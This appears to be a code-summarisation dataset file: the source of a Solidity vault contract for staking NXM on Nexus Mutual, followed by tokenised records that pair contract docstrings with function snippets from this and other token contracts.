function withdrawFinalize()
external
oncePerTx
{
WithdrawalRequest memory withdrawal = withdrawals[msg.sender];
uint256 nAmount = uint256(withdrawal.nAmount);
uint256 arAmount = uint256(withdrawal.arAmount);
uint256 requestTime = uint256(withdrawal.requestTime);
require(block.timestamp.sub(withdrawalsPaused) > pauseDuration, "Withdrawals are temporarily paused.");
require(requestTime.add(withdrawDelay) <= block.timestamp, "Not ready to withdraw");
require(nAmount > 0, "No pending amount to withdraw");
// Burn also decreases sender's referral balance through alertTransfer.
arNxm.burn(address(this), arAmount);
_wrapNxm(nAmount);
wNxm.safeTransfer(msg.sender, nAmount);
delete withdrawals[msg.sender];
totalPending = totalPending.sub(nAmount);
emit Withdrawal(msg.sender, nAmount, arAmount, block.timestamp);
}
/**
* @dev Restake that may be called by anyone.
* @param _lastId Last unstake request ID on Nexus Mutual.
**/
function restake(uint256 _lastId)
external
{
// Check that this is only called once per week.
require(lastRestake.add(restakePeriod) <= block.timestamp, "It has not been enough time since the last restake.");
_restake(_lastId);
}
/**
* @dev Restake that may be called only by owner. Bypasses restake period restrictions.
* @param _lastId Last unstake request ID on Nexus Mutual.
**/
function ownerRestake(uint256 _lastId)
external
onlyOwner
{
_restake(_lastId);
}
/**
* @dev Restake is to be called weekly. It unstakes 7% of what's currently staked, then restakes.
* @param _lastId Frontend must submit last ID because it doesn't work direct from Nexus Mutual.
**/
function _restake(uint256 _lastId)
internal
notContract
oncePerTx
{
// All Nexus functions.
uint256 withdrawn = _withdrawNxm();
// This will stake for all protocols, including unstaking protocols
uint256 staked = _stakeNxm();
// This will unstake from all unstaking protocols
uint256 unstaked = _unstakeNxm(_lastId);
startProtocol = startProtocol + bucketSize >= protocols.length ? 0 : startProtocol + bucketSize;
if (startProtocol < checkpointProtocol) startProtocol = checkpointProtocol;
lastRestake = block.timestamp;
emit Restake(withdrawn, unstaked, staked, aum(), block.timestamp);
}
/**
* @dev Split off from restake() function to enable reward fetching at any time.
**/
function getRewardNxm()
external
notContract
{
uint256 prevAum = aum();
uint256 rewards = _getRewardsNxm();
if (rewards > 0) {
lastRewardTimestamp = block.timestamp;
emit NxmReward(rewards, block.timestamp, prevAum);
} else if(lastRewardTimestamp == 0) {
lastRewardTimestamp = block.timestamp;
}
}
/**
* @dev claim rewards from shield mining
* @param _shieldMining shield mining contract address
* @param _protocol Protocol funding the rewards.
* @param _sponsor sponsor address who funded the shield mining
* @param _token token address that sponsor is distributing
**/
function getShieldMiningRewards(address _shieldMining, address _protocol, address _sponsor, address _token)
external
notContract
{
address[] memory protocol = new address[](1);
protocol[0] = _protocol;
address[] memory sponsor = new address[](1);
sponsor[0] = _sponsor;
address[] memory token = new address[](1);
token[0] = _token;
IShieldMining(_shieldMining).claimRewards(protocol, sponsor, token);
}
/**
* @dev Find the arNxm value of a certain amount of wNxm.
* @param _nAmount The amount of NXM to check arNxm value of.
* @return arAmount The amount of arNxm the input amount of wNxm is worth.
**/
function arNxmValue(uint256 _nAmount)
public
view
returns (uint256 arAmount)
{
// Get reward allowed to be distributed.
uint256 reward = _currentReward();
// aum() holds full reward so we sub lastReward (which needs to be distributed over time)
// and add reward that has been distributed
uint256 totalN = aum().add(reward).sub(lastReward);
uint256 totalAr = arNxm.totalSupply();
// Find exchange amount of one token, then find exchange amount for full value.
if (totalN == 0) {
arAmount = _nAmount;
} else {
uint256 oneAmount = ( totalAr.mul(1e18) ).div(totalN);
arAmount = _nAmount.mul(oneAmount).div(1e18);
}
}
/**
* @dev Find the wNxm value of a certain amount of arNxm.
* @param _arAmount The amount of arNxm to check wNxm value of.
* @return nAmount The amount of wNxm the input amount of arNxm is worth.
**/
function nxmValue(uint256 _arAmount)
public
view
returns (uint256 nAmount)
{
// Get reward allowed to be distributed.
uint256 reward = _currentReward();
// aum() holds full reward so we sub lastReward (which needs to be distributed over time)
// and add reward that has been distributed
uint256 totalN = aum().add(reward).sub(lastReward);
uint256 totalAr = arNxm.totalSupply();
// Find exchange amount of one token, then find exchange amount for full value.
uint256 oneAmount = ( totalN.mul(1e18) ).div(totalAr);
nAmount = _arAmount.mul(oneAmount).div(1e18);
}
/**
* @dev Used to determine total Assets Under Management.
* @return aumTotal Full amount of assets under management (wNXM balance + stake deposit).
**/
function aum()
public
view
returns (uint256 aumTotal)
{
IPooledStaking pool = IPooledStaking( _getPool() );
uint256 balance = nxm.balanceOf( address(this) );
uint256 stakeDeposit = pool.stakerDeposit( address(this) );
aumTotal = balance.add(stakeDeposit);
}
/**
* @dev Used to determine staked nxm amount in pooled staking contract.
* @return staked Staked nxm amount.
**/
function stakedNxm()
public
view
returns (uint256 staked)
{
IPooledStaking pool = IPooledStaking( _getPool() );
staked = pool.stakerDeposit( address(this) );
}
/**
* @dev Used to unwrap wnxm tokens to nxm
**/
function unwrapWnxm()
external
{
uint256 balance = wNxm.balanceOf(address(this));
_unwrapWnxm(balance);
}
/**
* @dev Used to determine distributed reward amount
* @return reward distributed reward amount
**/
function currentReward()
external
view
returns (uint256 reward)
{
reward = _currentReward();
}
/**
* @dev Anyone may call this function to pause withdrawals for a certain amount of time.
* We check Nexus contracts for a recent accepted claim, then can pause to avoid further withdrawals.
* @param _claimId The ID of the cover that has been accepted for a confirmed hack.
**/
function pauseWithdrawals(uint256 _claimId)
external
{
IClaimsData claimsData = IClaimsData( _getClaimsData() );
(/*coverId*/, uint256 status) = claimsData.getClaimStatusNumber(_claimId);
uint256 dateUpdate = claimsData.getClaimDateUpd(_claimId);
// Status must be 14 and date update must be within the past 7 days.
if (status == 14 && block.timestamp.sub(dateUpdate) <= 7 days) {
withdrawalsPaused = block.timestamp;
}
}
/**
* @dev When arNXM tokens are transferred, the referrer stakes must be adjusted on RewardManager.
* This is taken care of by a "_beforeTokenTransfer" function on the arNXM ERC20.
* @param _from The user that tokens are being transferred from.
* @param _to The user that tokens are being transferred to.
* @param _amount The amount of tokens that are being transferred.
**/
function alertTransfer(address _from, address _to, uint256 _amount)
external
{
require(msg.sender == address(arNxm), "Sender must be the token contract.");
// address(0) means the contract or EOA has not interacted directly with arNXM Vault.
if ( referrers[_from] != address(0) ) rewardManager.withdraw(referrers[_from], _from, _amount);
if ( referrers[_to] != address(0) ) rewardManager.stake(referrers[_to], _to, _amount);
}
/**
* @dev Withdraw any Nxm we can from the staking pool.
* @return amount The amount of funds that are being withdrawn.
**/
function _withdrawNxm()
internal
returns (uint256 amount)
{
IPooledStaking pool = IPooledStaking( _getPool() );
amount = pool.stakerMaxWithdrawable( address(this) );
pool.withdraw(amount);
}
/**
* @dev Withdraw any available rewards from Nexus.
* @return finalReward The amount of rewards to be given to users (full reward - admin reward - referral reward).
**/
function _getRewardsNxm()
internal
returns (uint256 finalReward)
{
IPooledStaking pool = IPooledStaking( _getPool() );
// Find current reward, find user reward (transfers reward to admin within this).
uint256 fullReward = pool.stakerReward( address(this) );
finalReward = _feeRewardsNxm(fullReward);
pool.withdrawReward( address(this) );
lastReward = finalReward;
}
/**
* @dev Find and distribute administrator rewards.
* @param reward Full reward given from this week.
* @return userReward Reward amount given to users (full reward - admin reward).
**/
function _feeRewardsNxm(uint256 reward)
internal
returns (uint256 userReward)
{
// Find both rewards before minting any.
uint256 adminReward = arNxmValue( reward.mul(adminPercent).div(DENOMINATOR) );
uint256 referReward = arNxmValue( reward.mul(referPercent).div(DENOMINATOR) );
// Mint to beneficary then this address (to then transfer to rewardManager).
if (adminReward > 0) {
arNxm.mint(beneficiary, adminReward);
}
if (referReward > 0) {
arNxm.mint(address(this), referReward);
rewardManager.notifyRewardAmount(referReward);
}
userReward = reward.sub(adminReward).sub(referReward);
}
/**
* @dev Unstake an amount from each protocol on Nxm (takes 30 days to unstake).
* @param _lastId The ID of the last unstake request on Nexus Mutual (needed for unstaking).
* @return unstakeAmount The amount of each token that we're unstaking.
**/
function _unstakeNxm(uint256 _lastId)
internal
returns (uint256 unstakeAmount)
{
IPooledStaking pool = IPooledStaking( _getPool() );
uint256 start = startProtocol;
uint256 end = start + bucketSize > protocols.length ? protocols.length : start + bucketSize;
for (uint256 i = startProtocol; i < end; i++) {
uint256 unstakePercent = unstakePercents[i];
address unstakeProtocol = protocols[i];
uint256 stake = pool.stakerContractStake(address(this), unstakeProtocol);
unstakeAmount = stake.mul(unstakePercent).div(DENOMINATOR);
uint256 trueUnstakeAmount = _protocolUnstakeable(unstakeProtocol, unstakeAmount);
// Can't unstake less than 20 NXM.
if (trueUnstakeAmount < 20 ether) continue;
amounts.push(trueUnstakeAmount);
activeProtocols.push(unstakeProtocol);
}
pool.requestUnstake(activeProtocols, amounts, _lastId);
delete amounts;
delete activeProtocols;
}
/**
* @dev Returns the amount we can unstake (if we can't unstake the full amount desired).
* @param _protocol The address of the protocol we're checking.
* @param _unstakeAmount Amount we want to unstake.
* @return The amount of funds that can be unstaked from this protocol if not the full amount desired.
**/
function _protocolUnstakeable(address _protocol, uint256 _unstakeAmount)
internal
view
returns (uint256) {
IPooledStaking pool = IPooledStaking( _getPool() );
uint256 stake = pool.stakerContractStake(address(this), _protocol);
uint256 requested = pool.stakerContractPendingUnstakeTotal(address(this), _protocol);
// Scenario in which all staked has already been requested to be unstaked.
if (requested >= stake) {
return 0;
}
uint256 available = stake - requested;
return _unstakeAmount <= available ? _unstakeAmount : available;
}
function stakeNxmManual(address[] calldata _protocols, uint256[] calldata _stakeAmounts) external onlyOwner{
_stakeNxmManual(_protocols, _stakeAmounts);
}
/**
* @dev Stake any wNxm over the amount we need to keep in reserve (bufferPercent% more than withdrawals last week).
* @param _protocols List of protocols to stake in (NOT list of all protocols).
* @param _stakeAmounts List of amounts to stake in each relevant protocol--this is only ADDITIONAL stake rather than full stake.
* @return toStake Amount of token that we will be staking.
**/
function _stakeNxmManual(address[] memory _protocols, uint256[] memory _stakeAmounts)
internal
returns (uint256 toStake)
{
_approveNxm(_getTokenController());
uint256 balance = nxm.balanceOf( address(this) );
// If we do need to restake funds...
if (reserveAmount.add(totalPending) < balance) {
IPooledStaking pool = IPooledStaking( _getPool() );
// Determine how much to stake. Can't stake less than 20 NXM.
toStake = balance.sub(reserveAmount.add(totalPending));
if (toStake < 20 ether) return 0;
for (uint256 i = 0; i < protocols.length; i++) {
address protocol = protocols[i];
uint256 stakeAmount = pool.stakerContractStake(address(this), protocol);
for (uint256 j = 0; j < _protocols.length; j++) {
if (protocol == _protocols[j]){
stakeAmount += _stakeAmounts[j];
break;
}
}
if (stakeAmount == 0) continue;
amounts.push(stakeAmount);
activeProtocols.push(protocol);
}
pool.depositAndStake(toStake, activeProtocols, amounts);
delete amounts;
delete activeProtocols;
}
}
/**
* @dev Stake any Nxm over the amount we need to keep in reserve (bufferPercent% more than withdrawals last week).
* @return toStake Amount of token that we will be staking.
**/
function _stakeNxm()
internal
returns (uint256 toStake)
{
_approveNxm(_getTokenController());
uint256 balance = nxm.balanceOf( address(this) );
// If we do need to restake funds...
if (reserveAmount.add(totalPending) < balance) {
IPooledStaking pool = IPooledStaking( _getPool() );
// Determine how much to stake. Can't stake less than 20 NXM.
toStake = balance.sub(reserveAmount.add(totalPending));
if (toStake < 20 ether) return 0;
uint256 startPos = startProtocol;
for (uint256 i = 0; i < protocols.length; i++) {
address protocol = protocols[i];
uint256 stake = pool.stakerContractStake(address(this), protocol);
uint256 stakeAmount = i >= startPos && i < startPos + bucketSize ? toStake.add(stake) : stake;
if (stakeAmount == 0) continue;
amounts.push(stakeAmount);
activeProtocols.push(protocol);
}
pool.depositAndStake(toStake, activeProtocols, amounts);
delete amounts;
delete activeProtocols;
}
}
/**
* @dev Calculate what the current reward is. We stream this to arNxm value to avoid dumps.
* @return reward Amount of reward currently calculated into arNxm value.
**/
function _currentReward()
internal
view
returns (uint256 reward)
{
uint256 duration = rewardDuration;
uint256 timeElapsed = block.timestamp.sub(lastRewardTimestamp);
if(timeElapsed == 0){
return 0;
}
// Full reward is added to the balance if it's been more than the disbursement duration.
if (timeElapsed >= duration) {
reward = lastReward;
// Otherwise, disburse amounts linearly over duration.
} else {
// 1e18 just for a buffer.
uint256 portion = ( duration.mul(1e18) ).div(timeElapsed);
reward = ( lastReward.mul(1e18) ).div(portion);
}
}
/**
* @dev Wrap Nxm tokens to be able to be withdrawn as wNxm.
**/
function _wrapNxm(uint256 _amount)
internal
{
IWNXM(address(wNxm)).wrap(_amount);
}
/**
* @dev Unwrap wNxm tokens to be able to be used within the Nexus Mutual system.
* @param _amount Amount of wNxm tokens to be unwrapped.
**/
function _unwrapWnxm(uint256 _amount)
internal
{
IWNXM(address(wNxm)).unwrap(_amount);
}
/**
* @dev Get current address of the Nexus staking pool.
* @return pool Address of the Nexus staking pool contract.
**/
function _getPool()
internal
view
returns (address pool)
{
pool = nxmMaster.getLatestAddress("PS");
}
/**
* @dev Get the current NXM token controller (for NXM actions) from Nexus Mutual.
* @return controller Address of the token controller.
**/
function _getTokenController()
internal
view
returns(address controller)
{
controller = nxmMaster.getLatestAddress("TC");
}
/**
* @dev Get current address of the Nexus Claims Data contract.
* @return claimsData Address of the Nexus Claims Data contract.
**/
function _getClaimsData()
internal
view
returns (address claimsData)
{
claimsData = nxmMaster.getLatestAddress("CD");
}
/**
* @dev Approve wNxm contract to be able to transferFrom Nxm from this contract.
**/
function _approveNxm(address _to)
internal
{
nxm.approve( _to, uint256(-1) );
}
/**
* @dev Buy NXM direct from Nexus Mutual. Used by ExchangeManager.
* @param _minNxm Minimum amount of NXM tokens to receive in return for the Ether.
**/
function buyNxmWithEther(uint256 _minNxm)
external
payable
{
require(msg.sender == 0x1337DEF157EfdeF167a81B3baB95385Ce5A14477, "Sender must be ExchangeManager.");
INXMPool pool = INXMPool(nxmMaster.getLatestAddress("P1"));
pool.buyNXM{value:address(this).balance}(_minNxm);
}
/**
* @dev rescue tokens locked in contract
* @param token address of token to withdraw
*/
function rescueToken(address token)
external
onlyOwner
{
require(token != address(nxm) && token != address(wNxm) && token != address(arNxm), "Cannot rescue NXM-based tokens");
uint256 balance = IERC20(token).balanceOf(address(this));
IERC20(token).safeTransfer(msg.sender, balance);
}
/**
* @dev Owner may change how much of the AUM should be saved in reserve each period.
* @param _reserveAmount The amount of wNXM (in token Wei) to reserve each period.
**/
function changeReserveAmount(uint256 _reserveAmount)
external
onlyOwner
{
reserveAmount = _reserveAmount;
}
/**
* @dev Owner can change the size of a bucket.
* @param _bucketSize The new amount of protocols to stake on each week.
**/
function changeBucketSize(uint256 _bucketSize)
external
onlyOwner
{
// 20 is somewhat arbitrary (max plus a bit in case max expands in the future).
require(_bucketSize <= 10 && _bucketSize <= protocols.length, "Bucket size is too large.");
bucketSize = _bucketSize;
}
/**
* @dev Owner can change checkpoint for where we want all rotations to start and the start of the upcoming rotation.
* @param _checkpointProtocol The protocol to begin rotations on if we don't want to stake or unstake on some.
* @param _startProtocol The protocol that the upcoming rotation will begin on.
**/
function changeCheckpointAndStart(uint256 _checkpointProtocol, uint256 _startProtocol)
external
onlyOwner
{
require(_checkpointProtocol < protocols.length && _startProtocol < protocols.length, "Checkpoint or start is too high.");
checkpointProtocol = _checkpointProtocol;
startProtocol = _startProtocol;
}
/**
* @dev Owner may change the percent of insurance fees referrers receive.
* @param _referPercent The percent of fees referrers receive. 50 == 5%.
**/
function changeReferPercent(uint256 _referPercent)
external
onlyOwner
{
require(_referPercent <= 500, "Cannot give referrer more than 50% of rewards.");
referPercent = _referPercent;
}
/**
* @dev Owner may change the withdraw fee.
* @param _withdrawFee The fee of withdraw.
**/
function changeWithdrawFee(uint256 _withdrawFee)
external
onlyOwner
{
require(_withdrawFee <= DENOMINATOR, "Cannot take more than 100% of withdraw");
withdrawFee = _withdrawFee;
}
/**
* @dev Owner may change the withdraw delay.
* @param _withdrawDelay Withdraw delay.
**/
function changeWithdrawDelay(uint256 _withdrawDelay)
external
onlyOwner
{
withdrawDelay = _withdrawDelay;
}
/**
* @dev Change the percent of rewards that are given for administration of the contract.
* @param _adminPercent The percent of rewards to be given for administration (10 == 1%, 1000 == 100%)
**/
function changeAdminPercent(uint256 _adminPercent)
external
onlyOwner
{
require(_adminPercent <= 500, "Cannot give admin more than 50% of rewards.");
adminPercent = _adminPercent;
}
/**
* @dev Owner may change protocols that we stake for and remove any.
* @param _protocols New list of protocols to stake for.
* @param _unstakePercents Percent to unstake for each protocol.
* @param _removedProtocols Protocols removed from our staking that must be 100% unstaked.
**/
function changeProtocols(address[] calldata _protocols, uint256[] calldata _unstakePercents, address[] calldata _removedProtocols, uint256 _lastId)
external
onlyOwner
{
require(_protocols.length == _unstakePercents.length, "array length diff");
protocols = _protocols;
unstakePercents = _unstakePercents;
if (_removedProtocols.length > 0) {
IPooledStaking pool = IPooledStaking( _getPool() );
for (uint256 i = 0; i < _removedProtocols.length; i++) {
uint256 indUnstakeAmount = _protocolUnstakeable(_removedProtocols[i], uint256(~0));
if(indUnstakeAmount == 0){
// skip already fully requested protocols
continue;
}
amounts.push(indUnstakeAmount);
activeProtocols.push(_removedProtocols[i]);
}
pool.requestUnstake(activeProtocols, amounts, _lastId);
delete amounts;
delete activeProtocols;
}
}
/**
* @dev Owner may change the amount of time required to be waited between restaking.
* @param _restakePeriod Amount of time required between restakes (starts at 6 days or 86400 * 6).
**/
function changeRestakePeriod(uint256 _restakePeriod)
external
onlyOwner
{
require(_restakePeriod <= 30 days, "Restake period cannot be more than 30 days.");
restakePeriod = _restakePeriod;
}
/**
* @dev Owner may change the amount of time it takes to distribute rewards from Nexus.
* @param _rewardDuration The amount of time it takes to fully distribute rewards.
**/
function changeRewardDuration(uint256 _rewardDuration)
external
onlyOwner
{
require(_rewardDuration <= 30 days, "Reward duration cannot be more than 30 days.");
rewardDuration = _rewardDuration;
}
/**
* @dev Owner may change the amount of time that withdrawals are paused after a hack is confirmed.
* @param _pauseDuration The new amount of time that withdrawals will be paused.
**/
function changePauseDuration(uint256 _pauseDuration)
external
onlyOwner
{
require(_pauseDuration <= 30 days, "Pause duration cannot be more than 30 days.");
pauseDuration = _pauseDuration;
}
/**
* @dev Change beneficiary of the administration funds.
* @param _newBeneficiary Address of the new beneficiary to receive funds.
**/
function changeBeneficiary(address _newBeneficiary)
external
onlyOwner
{
beneficiary = _newBeneficiary;
}
//// Update addition. Proxy paranoia brought it down here. ////
uint256 public lastRewardTimestamp;
//// Second update additions. ////
// Protocol that the next restaking will begin on.
uint256 public startProtocol;
// Checkpoint in case we want to cut off certain buckets (where we begin the rotations).
// To bar protocols from being staked/unstaked, move them to before checkpointProtocol.
uint256 public checkpointProtocol;
// Number of protocols to stake each time.
uint256 public bucketSize;
// Individual percent to unstake.
uint256[] public unstakePercents;
// Last time an EOA has called this contract.
mapping (address => uint256) public lastCall;
///// Third update additions. /////
// Withdraw fee to withdraw immediately.
uint256 public withdrawFee;
// Delay to withdraw
uint256 public withdrawDelay;
// Total amount of withdrawals pending.
uint256 public totalPending;
mapping (address => WithdrawalRequest) public withdrawals;
} | * @dev Get the current NXM token controller (for NXM actions) from Nexus Mutual. @return controller Address of the token controller./ | function _getTokenController()
internal
view
returns(address controller)
{
controller = nxmMaster.getLatestAddress("TC");
}
| 8,587 | [
1,
967,
326,
783,
29569,
49,
1147,
2596,
261,
1884,
29569,
49,
4209,
13,
628,
423,
21029,
14138,
1462,
18,
327,
2596,
5267,
434,
326,
1147,
2596,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
389,
588,
1345,
2933,
1435,
203,
1377,
2713,
203,
1377,
1476,
203,
565,
1135,
12,
2867,
2596,
13,
203,
565,
288,
203,
3639,
2596,
273,
9264,
81,
7786,
18,
588,
18650,
1887,
2932,
15988,
8863,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/56/0x5ed77C98C66f243734840729165477F7e16A85d3/sources/ChaodoiToken.sol | Updates totalSupply
| _totalSupply = _totalSupply.safeSub(_value); | 11,316,590 | [
1,
5121,
2078,
3088,
1283,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
389,
4963,
3088,
1283,
273,
389,
4963,
3088,
1283,
18,
4626,
1676,
24899,
1132,
1769,
15604,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/4/0x61b92a7F45711e38BAA3b97c1897de970904D6e2/sources/B20.sol | / solhint-disable-next-line func-visibility | contract Token0 is IToken0, ERC20Capped, ERC20Burnable, Ownable {
constructor (uint256 cap, string memory name, string memory symbol) ERC20(name, symbol)
@author Lendroid Foundation
function mint(address account, uint256 amount) external override onlyOwner {
_mint(account, amount);
}
function burn(uint256 amount) public override(ERC20Burnable, IToken0) onlyOwner {
super.burn(amount);
}
function burnFrom(address account, uint256 amount) public override(ERC20Burnable, IToken0) {
super.burnFrom(account, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal override(
ERC20, ERC20Capped) {
super._beforeTokenTransfer(from, to, amount);
}
}
| 687,329 | [
1,
19,
3704,
11317,
17,
8394,
17,
4285,
17,
1369,
1326,
17,
14422,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
3155,
20,
353,
467,
1345,
20,
16,
4232,
39,
3462,
4664,
1845,
16,
4232,
39,
3462,
38,
321,
429,
16,
14223,
6914,
288,
203,
203,
565,
3885,
261,
11890,
5034,
3523,
16,
533,
3778,
508,
16,
533,
3778,
3273,
13,
4232,
39,
3462,
